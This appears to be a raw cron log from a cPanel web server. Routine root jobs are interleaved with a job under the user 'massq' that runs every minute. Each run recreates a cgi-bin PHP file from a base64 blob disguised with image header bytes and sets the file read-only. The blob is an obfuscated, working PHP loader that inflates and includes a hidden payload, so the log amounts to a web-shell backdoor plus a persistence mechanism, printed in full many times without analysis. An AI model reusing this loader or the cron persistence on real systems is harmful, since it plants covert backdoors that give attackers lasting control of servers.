Nov 14 10:52:01 server CROND[13554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:53:01 server CROND[14505]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:54:01 server CROND[15472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:55:01 server CROND[16041]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:55:01 server CROND[16042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:55:01 server CROND[16045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:56:01 server CROND[16958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:57:01 server CROND[17832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:57:01 server CROND[17833]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 10:58:01 server CROND[18572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:59:01 server CROND[19524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:00:01 server CROND[20393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 11:00:01 server CROND[20392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:00:01 server CROND[20394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:00:01 server CROND[20391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:01:01 server CROND[21307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:01:01 server CROND[21308]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 11:01:01 server run-parts(/etc/cron.hourly)[21308]: starting 0anacron
Nov 14 11:01:01 server run-parts(/etc/cron.hourly)[21320]: finished 0anacron
Nov 14 11:02:01 server CROND[22175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:03:01 server CROND[23023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:04:01 server CROND[23708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:05:01 server CROND[24123]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 11:05:01 server CROND[24124]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 11:05:01 server CROND[24125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:05:01 server CROND[24126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
